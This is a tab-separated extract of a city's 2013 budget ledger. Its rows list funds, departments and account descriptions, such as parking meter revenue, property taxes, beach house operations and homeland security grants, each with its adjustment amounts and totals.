3579	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522530.0	PARKING OUTREACH	804.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	10000	0	0.0	10000.0
3580	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	533030.0	PROPERTY INSURANCE	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	525897	0	0.0	525897.0
3581	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	407690.0	TAXI DECAL FEE	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-355000	0	355000.0	0.0
3582	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	2050	0.0	0	0	0.0	2050.0
3583	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400351.0	RPTTF RESIDUALS	602.0	Property Taxes	2013	0.0	0	0.0	0.0	0	0	0.0	-5081297	0.0	0	0	0.0	-5081297.0
3584	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	410280.0	LOS AMIGOS MWD GRANT 2013	610.0	Intergovernmental	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	-400000	0.0	-400000.0
3585	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	408360.0	SUCCESSOR AGENCY ADMIN	622.0	Other	2013	0.0	0	0.0	0.0	0	0	0.0	-840612	0.0	0	0	0.0	-840612.0
3586	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		REAL BEACH PKG STATE ITS	610.0	Intergovernmental	2013	0.0	0	0.0	0.0	0	0	0.0	0	-346500.0	0	0	0.0	-346500.0
3587	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400300.0	ON STREET METERS	608.0	Licenses and Permits	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-13280000	0	0.0	-13280000.0
3588	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404330.0	KEN EDWARDS CENTER PARKING	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-100000	0	0.0	-100000.0
3589	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404870.0	1665 OCEAN AVE PKG LOT	608.0	Licenses and Permits	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-8400	0	0.0	-8400.0
3590	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	544870.0	PARKING CITATION COSTS	804.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	1500000	0	0.0	1500000.0
3591	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	407693.0	TAXI DRIVER PERMIT FEES	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	-78000.0	-78000.0
3592	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	555364.0	13 STATE HOMELAND SEC GRANT	806.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	200000.0	200000.0
3593	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	404650.0	INTEREST-CIVIC PKG STR BONDS	616.0	Investment Income	2013	0.0	0	0.0	0.0	0	0	0.0	-200	0.0	0	0	0.0	-200.0
3594	B1	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577729.0	CDBG-OTHER PROGRAMS-PY FUNDS		 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	300000.0	0	0	0.0	300000.0
3595	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	401320.0	PARKING STRUCTURE PERMITS	608.0	Licenses and Permits	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-1300000	0	0.0	-1300000.0
3596	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	407180.0	VALET LICENSING FEES	608.0	Licenses and Permits	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-75000	0	0.0	-75000.0
3597	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	407800.0	CIVIC CENTER PARKING	608.0	Licenses and Permits	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-1350000	0	0.0	-1350000.0
3598	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2013	261952.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	261952.0
3599	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2013	110921.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	110921.0
3600	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2013	38406.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	38406.0
3601	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511920.0	UNIFORM / TOOL ALLOWANCE	808.0	Salaries and Wages	2013	8916.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8916.0
3602	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2013	12975.0	0	0.0	0.0	0	0	0.0	130	0.0	0	0	0.0	13105.0
3603	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	6770.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6770.0
3604	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522130.0	UTILITIES - WATER	808.0	 Supplies and Expenses	2013	318726.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	318726.0
3605	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
3606	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2013	72681.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	72681.0
3607	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
3608	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555210.0	TRAINING	808.0	 Supplies and Expenses	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
3609	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2013	281141.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	281141.0
3610	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2013	908.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	908.0
3611	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2013	24072.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	24072.0
3612	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522150.0	STORMWATER MANAGEMENT	810.0	 Supplies and Expenses	2013	6400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6400.0
3613	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	406000.0	ESTIMATED FEE INCREASES	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
3614	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	410100.0	FIRE MISCELLANEOUS REVENUE	622.0	Other	2013	-20400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-20400.0
3615	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400010.0	PROPERTY TAXES - SECURED	602.0	Property Taxes	2013	-23621499.0	0	0.0	0.0	0	0	0.0	-920349	0.0	0	0	0.0	-24541848.0
3616	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400110.0	FRANCHISE TAX - MISCELLANEOUS	608.0	Licenses and Permits	2013	-20135.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-20135.0
3617	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400130.0	TRANSIENT OCCUPANCY TAX	606.0	Other Local Taxes	2013	-42078000.0	0	0.0	0.0	0	0	0.0	-1522000	0.0	0	0	0.0	-43600000.0
3618	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	401420.0	TRANSACTION AND USE TAX	604.0	Sales Tax	2013	-13600185.0	0	0.0	0.0	0	0	0.0	-1020014	0.0	0	0	0.0	-14620199.0
3619	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2013	4218.0	-818	0.0	0.0	0	0	0.0	34	0.0	0	0	0.0	3434.0
3620	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2013	80560.0	-17288	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	63272.0
3621	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		SAFETY EXPENSES		 Supplies and Expenses	2013	70.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	70.0
3622	B1	IS	20	Miscellaneous Grants Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	577351.0	HOME VOUCHERS	816.0	 Supplies and Expenses	2013	310000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	310000.0
3623	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570080.0	TRANSFER OUT TO WATER FUND	910.0	 Supplies and Expenses	2013	0.0	0	51049.0	0.0	0	0	0.0	0	0.0	0	0	0.0	51049.0
3624	B1	IS	25	Water Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570080.0	TRANSFER IN FROM GENERAL FUND	908.0	 Supplies and Expenses	2013	0.0	0	-51049.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-51049.0
3625	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562702.0	ONE-TIME GRANT SET-ASIDE		 Supplies and Expenses	2013	41455.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	41455.0
3626	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2013	-10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-10000.0
3627	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404690.0	415 PCH - PARKING	612.0	Charges for Service	2013	-438250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-438250.0
3628	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404750.0	415 PCH - RENTALS	618.0	Rentals	2013	-120000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-120000.0
3629	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404750.0	415 PCH - RENTALS	618.0	Rentals	2013	-70000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-70000.0
3630	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	405140.0	415 PCH - CONCESSIONS	612.0	Charges for Service	2013	-170000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-170000.0
3631	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	436172.0	0	0.0	0.0	0	0	0.0	4362	0.0	0	0	0.0	440534.0
3632	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2013	88763.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	88763.0
3633	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2013	10428.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10428.0
3634	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511748.0	DENTAL	808.0	Salaries and Wages	2013	6022.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6022.0
3635	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-4438.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-4438.0
3636	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2013	2888.0	0	0.0	0.0	0	0	0.0	29	0.0	0	0	0.0	2917.0
3637	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	1994.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1994.0
3638	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	3801.0	0	0.0	0.0	0	0	0.0	38	0.0	0	0	0.0	3839.0
3639	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	810.0	 Supplies and Expenses	2013	25000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25000.0
3640	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544010.0	SPECIAL DEPARTMENT SUPPLIES	810.0	 Supplies and Expenses	2013	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
3641	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401220.0	REC-PARK BUILDING RENTAL	618.0	Rentals	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
3642	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522112.0	UTIL-LIGHT/POWER-BEACH	804.0	 Supplies and Expenses	2013	77007.0	0	0.0	0.0	0	0	0.0	0	0.0	-77007	0	0.0	0.0
3643	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522134.0	UTIL-WATER-PARKING AUTH	804.0	 Supplies and Expenses	2013	46577.0	0	0.0	0.0	0	0	0.0	0	0.0	-46577	0	0.0	0.0
3644	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2013	7167027.0	0	0.0	0.0	0	0	0.0	0	0.0	-7167027	0	0.0	0.0
3645	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544440.0	WEBSITE DEVOP & MAINTENANCE	808.0	 Supplies and Expenses	2013	5900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5900.0
3646	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522210.0	UTILITIES - TELEPHONE	806.0	 Supplies and Expenses	2013	2859.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2859.0
3647	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522825.0	FOOD PURCHASES	848.0	 Supplies and Expenses	2013	215.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	215.0
3648	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	400300.0	ON STREET METERS	608.0	Licenses and Permits	2013	-13280000.0	0	0.0	0.0	0	0	0.0	0	0.0	13280000	0	0.0	0.0
3649	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	407710.0	MAIN LIBRARY PARKING STRUCTURE	608.0	Licenses and Permits	2013	-740000.0	0	0.0	0.0	0	0	0.0	-60000	0.0	800000	0	0.0	0.0
3650	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	560040.0	CISTERN PROGRAM	808.0	 Supplies and Expenses	2013	30000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30000.0
3651	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400440.0	PARK FILMING LOCATION FEES	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
3652	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	408140.0	ABOVE GROUND TANK PROGRAM	612.0	Charges for Service	2013	-8160.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-8160.0
3653	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556100.0	EMBALMING/CREMATION/DECEDENT C		 Supplies and Expenses	2013	60000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	60000.0
3654	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	405630.0	SCE ENERGY PLANNING GRANTS	622.0	Other	2013	0.0	0	0.0	0.0	0	0	0.0	0	-47547.75	0	0	0.0	-47547.75
3655	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	407693.0	TAXI DRIVER PERMIT FEES	612.0	Charges for Service	2013	-78000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	78000.0	0.0
3656	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	540590.0	EMPLOYEE RECOGNITION & APPRECI	804.0	 Supplies and Expenses	2013	390.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	390.0
3657	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2013	364760.0	0	0.0	-20429.0	0	0	0.0	3443	0.0	0	0	0.0	347774.0
3658	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2013	4000.0	0	0.0	0.0	0	0	0.0	10000	0.0	0	0	0.0	14000.0
3659	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511748.0	DENTAL		Salaries and Wages	2013	4265.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4265.0
3660	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2013	45732.0	0	0.0	0.0	0	0	0.0	457	0.0	0	0	0.0	46189.0
3661	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533260.0	NON-AVIATION MAINTENANCE		 Supplies and Expenses	2013	88303.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	88303.0
3662	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	400750.0	INT DEP / INVESTMENT	659.0	Investment Income	2013	-372739.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-372739.0
3663	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	404170.0	OTHER REVENUE - MISCELLANEOUS	622.0	Other	2013	-228000.0	0	0.0	0.0	0	0	0.0	228000	0.0	0	0	0.0	0.0
3664	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	406040.0	ABC GRANT	610.0	Intergovernmental	2013	0.0	-40000	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-40000.0
3665	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522910.0	VEHICLES - FUELS / LUBRICATION	810.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
3666	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579006.0	DISCRET-SM FESTIVAL	804.0	 Supplies and Expenses	2013	100000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100000.0
3667	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	406798.0	12 UASI GRANT	610.0	Intergovernmental	2013	0.0	0	-398666.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-398666.0
3668	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555398.0	12 UASI GRANT	806.0	 Supplies and Expenses	2013	0.0	0	23620.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23620.0
3669	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	555399.0	13 UASI GRANT	806.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	752076	0.0	752076.0
3670	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	410150.0	BIKE RACKS	612.0	Charges for Service	2013	-962.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-962.0
3671	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	556250.0	RETROFIT INCENTIVE	866.0	 Supplies and Expenses	2013	0.0	0	200000.0	0.0	0	0	0.0	0	0.0	0	0	0.0	200000.0
3672	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	501	ALL OTHER TRANSACTIONS	545040.0	BLOOMBERG WELLBEING PROJECT	804.0	 Supplies and Expenses	2013	0.0	1000000	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000000.0
3673	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2013	0.0	0	0.0	0.0	1738	0	0.0	0	0.0	0	0	0.0	1738.0
3674	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2013	0.0	0	0.0	0.0	12365	0	0.0	124	0.0	0	0	0.0	12489.0
3675	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		DCAP	808.0	Salaries and Wages	2013	0.0	0	0.0	0.0	72	0	0.0	0	0.0	0	0	0.0	72.0
3676	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	50	0.0	0	0	0.0	50.0
3677	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544040.0	BOOKS / PAMPHLETS	808.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	500	0.0	0	0	0.0	500.0
3678	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	441	ALL OTHER TRANSACTIONS	556035.0	USED OIL PAY PROG OPP3	808.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	19495	0.0	0	0	0.0	19495.0
3679	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	401090.0	INDIRECT COSTS	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	-10831405	0.0	0	0	0.0	-10831405.0
3680	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2013	0.0	0	0.0	0.0	0	0	0.0	-1573000	0.0	0	0	0.0	-1573000.0
3681	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563160.0	WISE FTA GRANT	810.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	30132	0.0	0	0	0.0	30132.0
3682	B1	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	407814.0	LANTANA-CHILDCARE	622.0	Other	2013	0.0	0	0.0	0.0	0	0	0.0	-80000	0.0	0	0	0.0	-80000.0
3683	B1	IS	53	Parks and Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	566211.0	AIRPORT PARK IMPROVEMENTS	810.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	17000	0.0	0	0	0.0	17000.0
3684	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	406804.0	13 STATE HOMELAND SEC GRANT	610.0	Intergovernmental	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	-200000.0	-200000.0
3685	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2013	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
3686	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544340.0	INDIRECT COST ALLOCATION	810.0	 Supplies and Expenses	2013	229585.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	229585.0
3687	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	545020.0	CULTURAL PROGRAMMING	810.0	 Supplies and Expenses	2013	100000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100000.0
3688	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	5634.0	0	0.0	0.0	0	0	0.0	56	0.0	0	0	0.0	5690.0
3689	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2013	71887.0	0	0.0	0.0	0	0	0.0	719	0.0	0	0	0.0	72606.0
3690	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	522950.0	CNG FUEL	810.0	 Supplies and Expenses	2013	1122.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1122.0
3691	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533214.0	FAC MAINT-REPAIRS-HIST SAVINGS	810.0	 Supplies and Expenses	2013	119802.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	119802.0
